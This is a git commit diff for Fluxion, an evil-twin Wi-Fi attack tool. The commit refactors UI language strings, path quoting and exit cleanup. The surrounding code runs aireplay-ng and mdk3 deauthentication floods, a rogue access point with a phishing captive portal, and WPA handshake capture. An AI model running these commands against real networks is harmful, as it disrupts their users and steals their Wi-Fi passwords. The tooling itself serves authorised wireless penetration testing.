Lang. globals, paths, exitmode update & bugfixes.

Updated fluxion and attacks scripts to use the updated language global identifiers.
Quoted some paths that handn't already been quoted (potential spacing issues).
Updated the exitmode function to deal with FLUXION-started only processes.
Fixed a bug where the "WI not supported" message was displayed when no AP were found.
Added an IO function to handle dynamic, static-text, substitution.
This commit is contained in:
Matias Barcenas 2017-08-10 22:02:12 -05:00
parent 1876c9db8d
commit c15bd1b7bc
4 changed files with 153 additions and 170 deletions

View File

@ -46,18 +46,18 @@ function captive_portal_set_auth() {
else
fluxion_header
echo -e "$FLUXIONVLine $header_askauth"
echo -e "$FLUXIONVLine $CaptivePortalVerificationMethodQuery"
echo
view_target_ap_info
local choices=("${CaptivePortalAuthenticationMethods[@]}" "$general_back")
local choices=("${CaptivePortalAuthenticationMethods[@]}" "$FLUXIONGeneralBackOption")
io_query_format_fields "" "\t$CRed[$CYel%d$CRed]$CClr %b %b\n" choices[@] \
CaptivePortalAuthenticationMethodsInfo[@]
APRogueAuthMode="${IOQueryFormatFields[0]}"
if [[ "$APRogueAuthMode" = "$general_back" ]]; then
if [[ "$APRogueAuthMode" = "$FLUXIONGeneralBackOption" ]]; then
unset_ap_service
captive_portal_unset_auth
return 1
@ -97,15 +97,15 @@ function captive_portal_set_cert() {
captive_portal_unset_cert
local choices=("$DialogOptionCertificateSource1" "$DialogOptionCertificateSource2" "$general_back")
local choices=("$CaptivePortalCertificateSourceGenerateOption" "$CaptivePortalCertificateSourceRescanOption" "$FLUXIONGeneralBackOption")
while [ ! -f "$FLUXIONWorkspacePath/server.pem" -o ! -s "$FLUXIONWorkspacePath/server.pem" ]; do
io_query_choice "$DialogQueryCertificateSource" choices[@]
io_query_choice "$CaptivePortalCertificateSourceQuery" choices[@]
case "$IOQueryChoice" in
"$DialogOptionCertificateSource1") captive_portal_run_certificate_generator; break;;
"$DialogOptionCertificateSource2") return 2;;
"$general_back")
"$CaptivePortalCertificateSourceGenerateOption") captive_portal_run_certificate_generator; break;;
"$CaptivePortalCertificateSourceRescanOption") return 2;;
"$FLUXIONGeneralBackOption")
captive_portal_unset_auth
captive_portal_unset_cert
return 1;;
@ -132,7 +132,7 @@ function captive_portal_set_site() {
return 0;
fi
captive_portal_unset_interface
captive_portal_unset_site
local sites
@ -141,19 +141,19 @@ function captive_portal_set_site() {
for site in attacks/Captive\ Portal/sites/generic/* attacks/Captive\ Portal/sites/*.portal; do
site="${site/attacks\/Captive\ Portal\/sites\//}"
if [[ "$site" != *.portal ]]; then
site="${DialogOptionCaptivePortalGeneric}_${site/generic\//}"
site="${CaptivePortalGenericInterfaceOption}_${site/generic\//}"
fi
sites[${#sites[@]}]="${site/.portal/}"
done
local sitesIdentifier=("${sites[@]/_*/}" "$general_back")
local sitesIdentifier=("${sites[@]/_*/}" "$FLUXIONGeneralBackOption")
local sitesLanguage=("${sites[@]/*_/}")
fluxion_header
view_target_ap_info
io_query_format_fields "$FLUXIONVLine $DialogQueryCaptivePortalInterface" \
io_query_format_fields "$FLUXIONVLine $CaptivePortalInterfaceQuery" \
"$CRed[$CYel%02d$CRed]$CClr %-38b $CBlu[%10s]$CClr\n" \
sitesIdentifier[@] sitesLanguage[@]
@ -162,17 +162,17 @@ function captive_portal_set_site() {
local sitePath="${site}_${siteLanguage}"
case "$site" in
"$DialogOptionCaptivePortalGeneric")
"$CaptivePortalGenericInterfaceOption")
source "$FLUXIONPath/attacks/Captive Portal/sites/generic/$siteLanguage"
captive_portal_generic;;
"$general_back")
"$FLUXIONGeneralBackOption")
captive_portal_unset_cert
captive_portal_unset_site
return 1;;
* )
mkdir "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice
cp -r $FLUXIONPath/attacks/Captive\ Portal/sites/$sitePath.portal/* \
$FLUXIONWorkspacePath/captive_portal
# mkdir "$FLUXIONWorkspacePath/captive_portal" &>$FLUXIONOutputDevice
cp -r "$FLUXIONPath/attacks/Captive Portal/sites/$sitePath.portal" \
"$FLUXIONWorkspacePath/captive_portal"
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \
sed -i -e 's/$APTargetSSID/'"$APTargetSSID"'/g' {} \;
find "$FLUXIONWorkspacePath/captive_portal/" -type f -exec \
@ -188,8 +188,9 @@ function captive_portal_unset_attack() {
sandbox_remove_workfile "$FLUXIONWorkspacePath/lighttpd.conf"
sandbox_remove_workfile "$FLUXIONWorkspacePath/dhcpd.leases"
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal/check.php"
sandbox_remove_workfile "$FLUXIONWorkspacePath/captive_portal"
# Only reset the AP if one has been define.
# Only reset the AP if one has been defined.
if [ $(type -t ap_reset) ]; then
ap_reset
fi
@ -843,31 +844,31 @@ function start_attack() {
stop_attack
echo -e "$FLUXIONVLine Starting Captive Portal access point service..."
echo -e "$FLUXIONVLine $CaptivePortalStaringAPServiceNotice"
ap_start
echo -e "$FLUXIONVLine Starting Captive Portal access point routes..."
echo -e "$FLUXIONVLine $CaptivePortalStaringAPRoutesNotice"
captive_portal_set_routes &
sleep 3
fuser -n tcp -k 53 67 80 443 &> $FLUXIONOutputDevice
fuser -n udp -k 53 67 80 443 &> $FLUXIONOutputDevice
echo -e "$FLUXIONVLine Starting access point DHCP service as daemon..."
echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice"
xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e dhcpd -d -f -lf "$FLUXIONWorkspacePath/dhcpd.leases" -cf "$FLUXIONWorkspacePath/dhcpd.conf" $VIGW 2>&1 | tee -a "$FLUXIONWorkspacePath/clients.txt" &
echo -e "$FLUXIONVLine Starting access point DNS service as daemon..."
echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice"
xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns\"; fi" &
echo -e "$FLUXIONVLine Starting access point captive portal as daemon..."
echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice"
lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice
CaptivePortalServerPID=$!
echo -e "$FLUXIONVLine Starting access point jammer as daemon..."
echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice"
echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst"
xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e mdk3 $WIMonitor d -b "$FLUXIONWorkspacePath/mdk3_blacklist.lst" -c $APTargetChannel &
echo -e "$FLUXIONVLine Starting authenticator script..."
echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice"
xterm -hold $TOPRIGHT -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" &
}

View File

@ -52,8 +52,8 @@ function handshake_stop_verifier() {
function handshake_start_verifier() {
handshake_verifier_daemon $$ \
$FLUXIONPath/attacks/Handshake\ Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap \
$HANDSHAKEVerifier $FLUXIONWorkspacePath/capture/dump-01.cap \
"$FLUXIONPath/attacks/Handshake Snooper/handshakes/$APTargetSSIDClean-$APTargetMAC.cap" \
"$HANDSHAKEVerifier" "$FLUXIONWorkspacePath/capture/dump-01.cap" \
"$APTargetSSID" "$APTargetMAC" &> $FLUXIONOutputDevice &
HANDSHAKEVerifierPID=$!
}
@ -71,15 +71,15 @@ function handshake_start_deauthenticator() {
# Prepare deauthenticators
case "$HANDSHAKEMethod" in
"mdk3"*) echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst
"$HandshakeSnooperMdk3MethodOption") echo "$APTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst
esac
# Start deauthenticators.
case "$HANDSHAKEMethod" in
"aireplay-ng"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"$HandshakeSnooperAireplayMethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
aireplay-ng --deauth=9999999999 -a $APTargetMAC --ignore-negative-one $WIMonitor &
HANDSHAKEDeauthenticatorPID=$!;;
"mdk3"*) xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
"$HandshakeSnooperMdk3MethodOption") xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "Deauthenticating all clients on $APTargetSSID" -e \
mdk3 $WIMonitor d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $APTargetChannel &
HANDSHAKEDeauthenticatorPID=$!;;
esac
@ -97,7 +97,7 @@ function handshake_start_captor() {
if [ "$HANDSHAKECaptorPID" ]; then return 0; fi
xterm -hold -title "Handshake Captor (CH $APTargetChannel)" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e \
airodump-ng -d $APTargetMAC -w $FLUXIONWorkspacePath/capture/dump -c $APTargetChannel -a $WIMonitor &
airodump-ng -d $APTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $APTargetChannel -a $WIMonitor &
sleep 3
HANDSHAKECaptorPID=$(ps a | awk '$5~/^airodump-ng/ && $7~/'"$APTargetMAC"'/{print $1}')
@ -110,12 +110,12 @@ function handshake_unset_method() {
function handshake_set_method() {
if [ "$HANDSHAKEMethod" ]; then return 0; fi
local methods=("Monitor (${CYel}passive$CClr)" "aireplay-ng deauthentication (${CRed}aggressive$CClr)" "mdk3 deauthentication (${CRed}aggressive$CClr)" "$general_back")
io_query_choice "Select a method of handshake retrieval" methods[@]
local methods=("$HandshakeSnooperMonitorMethodOption" "$HandshakeSnooperAireplayMethodOption" "$HandshakeSnooperMdk3MethodOption" "$FLUXIONGeneralBackOption")
io_query_choice "$HandshakeSnooperMethodQuery" methods[@]
HANDSHAKEMethod=$IOQueryChoice
if [ "$HANDSHAKEMethod" = "$general_back" ]; then
if [ "$HANDSHAKEMethod" = "$FLUXIONGeneralBackOption" ]; then
handshake_unset_method
return 1
fi
@ -128,16 +128,17 @@ function handshake_unset_verifier() {
function handshake_set_verifier() {
if [ "$HANDSHAKEVerifier" ]; then return 0; fi
local verifiers=("pyrit" "aircrack-ng" "$general_back") # "pyrit (${CGrn}recommended$CClr)" "aircrack-ng (unreliable)")
io_query_choice "Select a method of handshake retrieval" verifiers[@]
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@]
HANDSHAKEVerifier=$IOQueryChoice
if [ "$HANDSHAKEVerifier" = "$general_back" ]; then
handshake_unset_verifier
handshake_unset_method
return 1
fi
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") HANDSHAKEVerifier="pyrit";;
"$FLUXIONHashVerificationMethodAircrackOption") HANDSHAKEVerifier="aircrack-ng";;
"$FLUXIONGeneralBackOption")
handshake_unset_verifier
handshake_unset_method
return 1;;
esac
}
function unprep_attack() {
@ -149,9 +150,7 @@ function unprep_attack() {
}
function prep_attack() {
# if [ ${#@} -ne 3 ]; then return 1; fi
mkdir $FLUXIONWorkspacePath/capture
mkdir -p "$FLUXIONWorkspacePath/capture"
while true; do
handshake_set_method; if [ $? -ne 0 ]; then break; fi

View File

@ -18,7 +18,7 @@ FLUXIONDebug=${FLUXIONDebug:+1}
FLUXIONDropNet=${FLUXIONDropNet:+1}
FLUXIONAuto=${FLUXION_AUTO:+1}
# FLUXIONDebug [Normal Mode (0) / Developer Mode (1)]
# FLUXIONDebug [Normal Mode "" / Developer Mode 1]
export FLUXIONOutputDevice=$([ $FLUXIONDebug ] && echo "/dev/stdout" || echo "/dev/null")
FLUXIONHoldXterm=$([ $FLUXIONDebug ] && echo "-hold" || echo "")
@ -70,59 +70,40 @@ function exitmode() {
if [ ! $FLUXIONDebug ]; then
fluxion_header
echo -e "\n\n$CWht[$CRed-$CWht]$CRed $general_exitmode$CClr"
echo -e "\n\n$CWht[$CRed-$CWht]$CRed $FLUXIONCleanupAndClosingNotice$CClr"
if ps -A | grep -q aireplay-ng; then
echo -e "$CWht[$CRed-$CWht] Killing$CGry aireplay-ng$CClr"
killall aireplay-ng &> $FLUXIONOutputDevice
fi
local processes
readarray processes < <(ps -A)
# Currently, fluxion is only responsible for killing airodump-ng,
# since it uses it to scan for candidate target access points.
# Everything else should be taken care of by the custom attack abort handler.
local targets=("airodump-ng")
if ps -A | grep -q airodump-ng; then
echo -e "$CWht[$CRed-$CWht] Killing$CGry airodump-ng$CClr"
killall airodump-ng &> $FLUXIONOutputDevice
fi
local targetID
for targetID in "${targets[@]}"; do
local targetPID=$(echo "${processes[@]}" | awk '$4~/'"$targetID"'/{print $1}')
if [ ! "$targetPID" ]; then continue; fi
echo -e "$CWht[$CRed-$CWht] `io_dynamic_output $FLUXIONKillingProcessNotice`"
killall $targetPID &> $FLUXIONOutputDevice
done
if ps a | grep python| grep fakedns; then
echo -e "$CWht[$CRed-$CWht] Killing$CGry python$CClr"
kill $(ps a | grep python| grep fakedns | awk '{print $1}') &> $FLUXIONOutputDevice
fi
if ps -A | grep -q hostapd; then
echo -e "$CWht[$CRed-$CWht] Killing$CGry hostapd$CClr"
killall hostapd &> $FLUXIONOutputDevice
fi
if ps -A | grep -q lighttpd; then
echo -e "$CWht[$CRed-$CWht] Killing$CGry lighttpd$CClr"
killall lighttpd &> $FLUXIONOutputDevice
fi
if ps -A | grep -q dhcpd; then
echo -e "$CWht[$CRed-$CWht] Killing$CGry dhcpd$CClr"
killall dhcpd &> $FLUXIONOutputDevice
fi
if ps -A | grep -q mdk3; then
echo -e "$CWht[$CRed-$CWht] Killing$CGry mdk3$CClr"
killall mdk3 &> $FLUXIONOutputDevice
fi
if [ "$WIAccessPoint" != "" ]; then
echo -e "$CWht[$CRed-$CWht] $general_exitmode_2$CGrn $WIAccessPoint$CClr"
if [ "$WIAccessPoint" ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingExtraInterfacesNotice$CGrn $WIAccessPoint$CClr"
iw dev $WIAccessPoint del &> $FLUXIONOutputDevice
fi
if [ "$WIMonitor" != "" ]; then
echo -e "$CWht[$CRed-$CWht] $general_exitmode_1$CGrn $WIMonitor$CClr"
if [ "$WIMonitor" ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingMonitorNotice$CGrn $WIMonitor$CClr"
airmon-ng stop $WIMonitor &> $FLUXIONOutputDevice
fi
if [ "$(cat /proc/sys/net/ipv4/ip_forward)" != "0" ]; then
echo -e "$CWht[$CRed-$CWht] $general_exitmode_3$CClr"
if [ "`cat /proc/sys/net/ipv4/ip_forward`" != "0" ]; then
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingPacketForwardingNotice$CClr"
sysctl -w net.ipv4.ip_forward=0 &> $FLUXIONOutputDevice
fi
echo -e "$CWht[$CRed-$CWht] $general_exitmode_4$CClr"
echo -e "$CWht[$CRed-$CWht] $FLUXIONDisablingCleaningIPTablesNotice$CClr"
if [ ! -f "$FLUXIONWorkspacePath/iptables-rules" ];then
iptables --flush
iptables --table nat --flush
@ -132,16 +113,16 @@ function exitmode() {
iptables-restore < "$FLUXIONWorkspacePath/iptables-rules"
fi
echo -e "$CWht[$CRed-$CWht] $general_exitmode_5$CClr"
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestoringTputNotice$CClr"
tput cnorm
if [ ! $FLUXIONDebug ]; then
echo -e "$CWht[$CRed-$CWht] Deleting$CGry files$CClr"
echo -e "$CWht[$CRed-$CWht] $FLUXIONDeletingFilesNotice$CClr"
sandbox_remove_workfile "$FLUXIONWorkspacePath/*"
fi
if [ $FLUXIONDropNet ]; then
echo -e "$CWht[$CRed-$CWht] $general_exitmode_6$CClr"
echo -e "$CWht[$CRed-$CWht] $FLUXIONRestartingNetworkManagerNotice$CClr"
# systemctl check
systemd=$(whereis systemctl)
@ -154,8 +135,8 @@ function exitmode() {
fi
fi
echo -e "$CWht[$CGrn+$CWht] $CGrn$general_exitmode_7$CClr"
echo -e "$CWht[$CGrn+$CWht] $CGry$general_exitmode_8$CClr"
echo -e "$CWht[$CGrn+$CWht] $CGrn$FLUXIONCleanupSuccessNotice$CClr"
echo -e "$CWht[$CGrn+$CWht] $CGry$FLUXIONThanksSupportersNotice$CClr"
sleep 2
@ -214,7 +195,7 @@ function error_report() {
echo "Error on line $1"
}
if [ $FLUXIONDebug ]; then
if [ "$FLUXIONDebug" ]; then
trap 'error_report $LINENUM' ERR
fi
@ -288,16 +269,6 @@ if [ ! -d "$FLUXIONWorkspacePath" ]; then
mkdir -p "$FLUXIONWorkspacePath" &> $FLUXIONOutputDevice
fi
# Create handshake directory
#if [ ! -d "$FLUXIONHashPath" ]; then
# mkdir -p $FLUXIONHashPath &> $FLUXIONOutputDevice
#fi
#create password log directory
#if [ ! -d "$FLUXIONPassLog" ]; then
# mkdir -p $FLUXIONPassLog &> $FLUXIONOutputDevice
#fi
if [ ! $FLUXIONDebug ]; then
clear; echo
sleep 0.01 && echo -e "$CRed "
@ -459,19 +430,19 @@ function set_language() {
function unset_interface() {
# Unblock interfaces to make the available.
echo -e "$FLUXIONVLine Unblocking all interfaces..."
echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice"
#unblock interfaces
rfkill unblock all
# Gather all monitors & all AP interfaces.
echo -e "$FLUXIONVLine Looking for extraneous interfaces..."
echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice"
# Collect all interfaces in montitor mode & stop all
WIMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}'))
# Remove all monitors & all AP interfaces.
echo -e "$FLUXIONVLine Removing extraneous interfaces..."
echo -e "$FLUXIONVLine $FLUXIONRemovingExtraWINotice"
if [ ${#WIMonitors[@]} -gt 0 ]; then
for monitor in ${WIMonitors[@]}; do
@ -479,7 +450,7 @@ function unset_interface() {
airmon-ng stop $monitor > $FLUXIONOutputDevice
if [ $FLUXIONDebug ]; then
echo -e "\tStopped $monitor."
echo -e "Stopped $monitor."
fi
done
fi
@ -495,7 +466,7 @@ function set_interface() {
unset_interface
# Gather candidate interfaces.
echo -e "$FLUXIONVLine Looking for available interfaces..."
echo -e "$FLUXIONVLine $FLUXIONFindingWINotice"
# Create an array with the list of physical network interfaces
local WIAvailableData
@ -518,7 +489,7 @@ function set_interface() {
fi
done
WIAvailable[${#WIAvailable[@]}]="$general_repeat"
WIAvailable[${#WIAvailable[@]}]="$FLUXIONGeneralRepeatOption"
WIAvailableColor[${#WIAvailableColor[@]}]="$CClr" # (Increases record count)
WIAvailableState[${#WIAvailableState[@]}]="x"
@ -527,23 +498,24 @@ function set_interface() {
if [ $WIAvailableDataCount -eq 1 -a ${WIAvailableState[0]} = '+' ]; then
WISelected="${WIAvailable[0]}"
else
io_query_format_fields "$FLUXIONVLine $header_setinterface" "$CRed[$CYel%d$CRed]%b %-8b [%1s] %s\n" \
io_query_format_fields "$FLUXIONVLine $FLUXIONInterfaceQuery" \
"$CRed[$CYel%d$CRed]%b %-8b [%1s] %s\n" \
WIAvailableColor[@] WIAvailable[@] WIAvailableState[@] WIAvailableInfo[@]
WISelected="${IOQueryFormatFields[1]}"
WISelectedState="${IOQueryFormatFields[2]}"
echo
fi
if [ "$WISelected" = "$general_repeat" ]; then unset_interface; return 1; fi
if [ "$WISelected" = "$FLUXIONGeneralRepeatOption" ]; then unset_interface; return 1; fi
if [ ! "$FLUXIONDropNet" -a "$WISelectedState" = "-" ]; then
echo -e "$FLUXIONVLine The wireless interface selected appears to be in use."
echo -e "$FLUXIONVLine To forcefully run it, \"export FLUXIONDropNet=1\"."
sleep 10; unset_interface; return 1;
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError"
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip"
sleep 7; unset_interface; return 1;
fi
# Get interface driver details.
echo -e "$FLUXIONVLine Gathering interface information..."
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
WIDriver=$(airmon-ng | grep $WISelected | awk '{print $3}')
@ -554,12 +526,12 @@ function set_interface() {
# Gather conflict programs.
echo -e "$FLUXIONVLine Looking for notorious services..."
echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice"
ConflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}'))
# Kill conflict programs.
echo -e "$FLUXIONVLine Killing notorious services..."
echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"
for program in "${ConflictPrograms[@]}"; do
killall "$program" &>$FLUXIONOutputDevice
@ -579,7 +551,7 @@ function set_interface() {
function run_interface() {
# Start monitor interface.
echo -e "$FLUXIONVLine Starting monitor interface..."
echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice"
# Activate wireless interface monitor mode and save identifier.
WIMonitor=$(airmon-ng start $WISelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2> /dev/null)
@ -590,11 +562,11 @@ function run_interface() {
WIAccessPoint=${WIMonitor/mon/ap}
# Start access point interface.
echo -e "$FLUXIONVLine Starting access point interface..."
echo -e "$FLUXIONVLine $FLUXIONStartingWIAccessPointNotice"
# Create the new virtual interface with the previously generated identifier.
if [ `iw dev $WIMonitor interface add $WIAccessPoint type monitor` ]; then
echo "Unable to create AP's virtual interface, returning!"
echo -e "$FLUXIONCannotStartWIAccessPointError"
sleep 5
return 1
fi
@ -610,13 +582,13 @@ function set_scanner() {
if [ $FLUXIONAuto ];then
run_scanner $WIMonitor
else
local choices=("$choosescan_option_1" "$choosescan_option_2" "$general_back")
io_query_choice "$header_choosescan" choices[@]
local choices=("$FLUXIONScannerChannelOptionAll" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption")
io_query_choice "$FLUXIONScannerChannelQuery" choices[@]
case "$IOQueryChoice" in
"$choosescan_option_1") run_scanner $WIMonitor;;
"$choosescan_option_2") set_scanner_channel;;
"$general_back") unset_interface; return 1;;
"$FLUXIONScannerChannelOptionAll") run_scanner $WIMonitor;;
"$FLUXIONScannerChannelOptionSpecific") set_scanner_channel;;
"$FLUXIONGeneralBackOption") unset_interface; return 1;;
esac
fi
@ -627,11 +599,11 @@ function set_scanner() {
function set_scanner_channel() {
fluxion_header
echo -e "$FLUXIONVLine $header_choosescan"
echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery"
echo
echo -e " $scanchan_option_1 ${CBlu}6$CClr "
echo -e " $scanchan_option_2 ${CBlu}1-5$CClr "
echo -e " $scanchan_option_2 ${CBlu}1,2,5-7,11$CClr "
echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr "
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr "
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr "
echo
echo -ne "$FLUXIONPrompt"
@ -646,7 +618,7 @@ function set_scanner_channel() {
function run_scanner() {
echo
# Starting scan operation.
echo -e "$FLUXIONVLine Starting scanner, please wait..."
echo -e "$FLUXIONVLine $FLUXIONStartingScannerNotice"
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
@ -657,36 +629,38 @@ function run_scanner() {
local monitor=$1
local channels=$2
local channelsQuery=""
if [ "$channels" ]; then channelsQuery="--channel $channels"; fi
xterm $FLUXIONHoldXterm -title "$header_scan" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -at WPA $channelsQuery -w "$FLUXIONWorkspacePath/dump" $monitor
if [ "$channels" ]; then local channelsQuery="--channel $channels"; fi
xterm $FLUXIONHoldXterm -title "$FLUXIONScannerHeader" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng -at WPA $channelsQuery -w "$FLUXIONWorkspacePath/dump" $monitor
# Syntheize scan operation results.
echo -e "$FLUXIONVLine Synthesizing scan results, please wait..."
echo -e "$FLUXIONVLine $FLUXIONPreparingScannerResultsNotice"
# Unfortunately, mawk (alias awk) does not support the {n} times matching operator.
# readarray TargetAPCandidates < <(gawk -F, 'NF==15 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
readarray TargetAPCandidates < <(awk -F, 'NF==15 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
# readarray TargetAPCandidatesClients < <(gawk -F, 'NF==7 && $1~/([A-F0-9]{2}:){5}[A-F0-9]{2}/ {print $0}' $FLUXIONWorkspacePath/dump-01.csv)
readarray TargetAPCandidatesClients < <(awk -F, 'NF==7 && length($1)==17 && $1~/([A-F0-9][A-F0-9]:)+[A-F0-9][A-F0-9]/ {print $0}' "$FLUXIONWorkspacePath/dump-01.csv")
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
if [ ${#TargetAPCandidates[@]} -eq 0 ]; then
if [ ! -s "$FLUXIONWorkspacePath/dump-01.csv" ]; then
local choices=("$general_back" "$general_exit")
io_query_choice "Wireless card may not be supported (no APs found)" choices[@]
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*
"
local choices=("$FLUXIONGeneralBackOption" "$FLUXIONGeneralExitOption")
io_query_choice "$FLUXIONScannerFailedNotice" choices[@]
case "$IOQueryChoice" in
"$general_back") return 1;;
"$general_exit") exitmode; return 2;;
"$FLUXIONGeneralBackOption") return 1;;
"$FLUXIONGeneralExitOption") exitmode; return 2;;
esac
else
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
echo -e "$FLUXIONVLine No access points detected, returning..."
sleep 5
echo -e "$FLUXIONVLine $FLUXIONScannerDetectedNothingNotice"
sleep 3
return 1
fi
fi
sandbox_remove_workfile "$FLUXIONWorkspacePath/dump*"
}
function unset_target_ap() {
@ -798,18 +772,18 @@ function set_ap_service() {
else
fluxion_header
echo -e "$FLUXIONVLine $header_askAP"
echo -e "$FLUXIONVLine $FLUXIONAPServiceQuery"
echo
view_target_ap_info
local choices=("$askAP_option_1" "$askAP_option_2" "$general_back")
local choices=("$FLUXIONAPServiceHostapdOption" "$FLUXIONAPServiceAirbaseOption" "$FLUXIONGeneralBackOption")
io_query_choice "" choices[@]
case "$IOQueryChoice" in
"$askAP_option_1" ) APRogueService="hostapd";;
"$askAP_option_2" ) APRogueService="airbase-ng";;
"$general_back" ) unset_ap_service; return 1;;
"$FLUXIONAPServiceHostapdOption" ) APRogueService="hostapd";;
"$FLUXIONAPServiceAirbaseOption" ) APRogueService="airbase-ng";;
"$FLUXIONGeneralBackOption" ) unset_ap_service; return 1;;
* ) conditional_bail; return 1;;
esac
fi
@ -821,28 +795,33 @@ function set_ap_service() {
function check_hash() {
if [ ! -f "$APTargetHashPath" -o ! -s "$APTargetHashPath" ]; then
echo -e "$FLUXIONVLine Hash file does not exist!"
echo -e "$FLUXIONVLine $FLUXIONHashFileDoesNotExistError"
sleep 3
return 1;
fi
fluxion_header
echo -e "$FLUXIONVLine $DialogQueryHashVerificationMethod"
echo -e "$FLUXIONVLine $FLUXIONHashVerificationMethodQuery"
echo
view_target_ap_info
local choices=("pyrit" "aircrack-ng" "$general_back") # "$DialogOptionHashVerificationMethod1" "$DialogOptionHashVerificationMethod2" "$general_back")
local choices=("$FLUXIONHashVerificationMethodPyritOption" "$FLUXIONHashVerificationMethodAircrackOption" "$FLUXIONGeneralBackOption")
io_query_choice "" choices[@]
if [ "$IOQueryChoice" = "$general_back" ]; then return 1; fi
local verifier
case "$IOQueryChoice" in
"$FLUXIONHashVerificationMethodPyritOption") verifier="pyrit";;
"$FLUXIONHashVerificationMethodAircrackOption") verifier="aircrack-ng";;
"$FLUXIONGeneralBackOption") return 1;;
esac
hash_check_handshake "$IOQueryChoice" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice
hash_check_handshake "$verifier" "$APTargetHashPath" "$APTargetSSID" "$APTargetMAC" > $FLUXIONOutputDevice
local hashResult=$?
if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine$CRed Warning$CClr, invalid hash file!";
else echo -e "$FLUXIONVLine$CGrn Success$CClr, hash verification completed!"; fi
if [ $hashResult -ne 0 ]; then echo -e "$FLUXIONVLine $FLUXIONHashInvalidError";
else echo -e "$FLUXIONVLine $FLUXIONHashValidNotice"; fi
sleep 3
@ -852,9 +831,9 @@ function check_hash() {
function set_hash_path() {
fluxion_header
echo
echo -e "$FLUXIONVLine Enter path to handshake file $CClr(Example: /.../dump-01.cap)"
echo -e "$FLUXIONVLine $FLUXIONPathToHandshakeFileQuery"
echo
echo -ne "Absolute path: "
echo -ne "$FLUXIONAbsolutePathInfo: "
read APTargetHashPath
}
@ -874,13 +853,13 @@ function set_hash() {
fluxion_header
echo -e "$FLUXIONVLine $DialogNoticeFoundHash"
echo -e "$FLUXIONVLine $FLUXIONFoundHashNotice"
echo
view_target_ap_info
echo -e "Path: ${CClr}$FLUXIONHashPath/$APTargetSSIDClean-$APTargetMAC.cap"
echo -ne "${CRed}$DialogQueryUseFoundHash$CClr [${CWht}Y$CClr/n] "
echo -ne "${CRed}$FLUXIONUseFoundHashQuery$CClr [${CWht}Y$CClr/n] "
if [ ! $FLUXIONAuto ];then
